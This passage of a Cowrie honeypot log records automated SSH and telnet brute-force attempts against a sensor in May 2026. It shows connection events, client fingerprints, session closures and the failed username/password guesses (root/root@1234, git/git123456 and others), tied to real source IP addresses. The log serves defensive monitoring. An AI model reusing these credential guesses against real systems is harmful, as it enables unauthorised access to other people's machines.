enssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:49.993412Z","src_ip":"192.109.200.237","session":"7d47db45fb39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123456","message":"login attempt [git/git123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:50.240613Z","src_ip":"192.109.200.237","session":"7d47db45fb39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.67391633987427,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:50.812784Z","src_ip":"50.6.8.71","session":"18c965902011","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:51.324991Z","src_ip":"192.109.200.237","session":"7d47db45fb39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00234961509705,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:52.209849Z","src_ip":"212.252.73.4","session":"86c4355c537b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58362650871277,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:52.386320Z","src_ip":"50.6.8.71","session":"03b48c4c5e2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55712,"dst_ip":"159.203.135.109","dst_port":22,"session":"322a3dffd6d0","protocol":"ssh","message":"New connection: 192.109.200.237:55712 (159.203.135.109:22) [session: 322a3dffd6d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:53.324981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:53.333514Z","src_ip":"192.109.200.237","session":"322a3dffd6d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:53.416172Z","src_ip":"192.109.200.237","session":"322a3dffd6d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hduser","password":"hduser","message":"login attempt [hduser/hduser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:53.666148Z","src_ip":"192.109.200.237","session":"322a3dffd6d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:54.756682Z","src_ip":"192.109.200.237","session":"322a3dffd6d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.252.73.4","src_port":38388,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f4f4cad249c","protocol":"telnet","message":"New connection: 212.252.73.4:38388 (10.17.0.5:23) [session: 5f4f4cad249c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:55.214293Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55716,"dst_ip":"159.203.135.109","dst_port":22,"session":"24d60fad02a0","protocol":"ssh","message":"New connection: 192.109.200.237:55716 (159.203.135.109:22) [session: 24d60fad02a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:56.847839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:56.873367Z","src_ip":"192.109.200.237","session":"24d60fad02a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:56.933065Z","src_ip":"192.109.200.237","session":"24d60fad02a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@1234","message":"login attempt [root/root@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:57.257284Z","src_ip":"192.109.200.237","session":"24d60fad02a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.252.73.4","src_port":64062,"dst_ip":"10.17.0.5","dst_port":23,"session":"394d2342a39f","protocol":"telnet","message":"New connection: 212.252.73.4:64062 (10.17.0.5:23) [session: 394d2342a39f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:57.669589Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:58.342779Z","src_ip":"192.109.200.237","session":"24d60fad02a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52666,"dst_ip":"159.203.135.109","dst_port":22,"session":"83a0c333c5a9","protocol":"ssh","message":"New connection: 192.109.200.237:52666 (159.203.135.109:22) [session: 83a0c333c5a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:00.382622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:00.389088Z","src_ip":"192.109.200.237","session":"83a0c333c5a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:00.473721Z","src_ip":"192.109.200.237","session":"83a0c333c5a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"AA123456","message":"login attempt [root/AA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:00.725298Z","src_ip":"192.109.200.237","session":"83a0c333c5a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:01.812699Z","src_ip":"192.109.200.237","session":"83a0c333c5a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52692,"dst_ip":"159.203.135.109","dst_port":22,"session":"4fc79638cb88","protocol":"ssh","message":"New connection: 192.109.200.237:52692 (159.203.135.109:22) [session: 4fc79638cb88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:03.951859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:03.958986Z","src_ip":"192.109.200.237","session":"4fc79638cb88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:04.041867Z","src_ip":"192.109.200.237","session":"4fc79638cb88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"media","password":"media","message":"login attempt [media/media] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:04.479775Z","src_ip":"192.109.200.237","session":"4fc79638cb88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:05.564829Z","src_ip":"192.109.200.237","session":"4fc79638cb88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52714,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ee670890a4e","protocol":"ssh","message":"New connection: 192.109.200.237:52714 (159.203.135.109:22) [session: 2ee670890a4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:07.671590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:07.678967Z","src_ip":"192.109.200.237","session":"2ee670890a4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:07.763704Z","src_ip":"192.109.200.237","session":"2ee670890a4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111","message":"login attempt [root/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:08.017494Z","src_ip":"192.109.200.237","session":"2ee670890a4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:09.105647Z","src_ip":"192.109.200.237","session":"2ee670890a4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":45832,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5044c98a33f","protocol":"ssh","message":"New connection: 80.94.92.184:45832 (159.203.135.109:22) [session: c5044c98a33f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:09.726450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:09.866463Z","src_ip":"80.94.92.184","session":"c5044c98a33f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:09.870736Z","src_ip":"80.94.92.184","session":"c5044c98a33f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv123","message":"login attempt [solv/solv123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:11.042453Z","src_ip":"80.94.92.184","session":"c5044c98a33f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60038,"dst_ip":"159.203.135.109","dst_port":22,"session":"817a1287163e","protocol":"ssh","message":"New connection: 192.109.200.237:60038 (159.203.135.109:22) [session: 817a1287163e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:11.067028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:11.072042Z","src_ip":"192.109.200.237","session":"817a1287163e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:11.154530Z","src_ip":"192.109.200.237","session":"817a1287163e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@","message":"login attempt [root/qwe123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:11.401321Z","src_ip":"192.109.200.237","session":"817a1287163e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:12.328362Z","src_ip":"80.94.92.184","session":"c5044c98a33f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:12.485413Z","src_ip":"192.109.200.237","session":"817a1287163e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.127.55","src_port":36564,"dst_ip":"10.17.0.5","dst_port":22,"session":"768532fccef2","protocol":"ssh","message":"New connection: 89.223.127.55:36564 (10.17.0.5:22) [session: 768532fccef2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:14.340291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:34:14.345472Z","src_ip":"89.223.127.55","session":"768532fccef2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert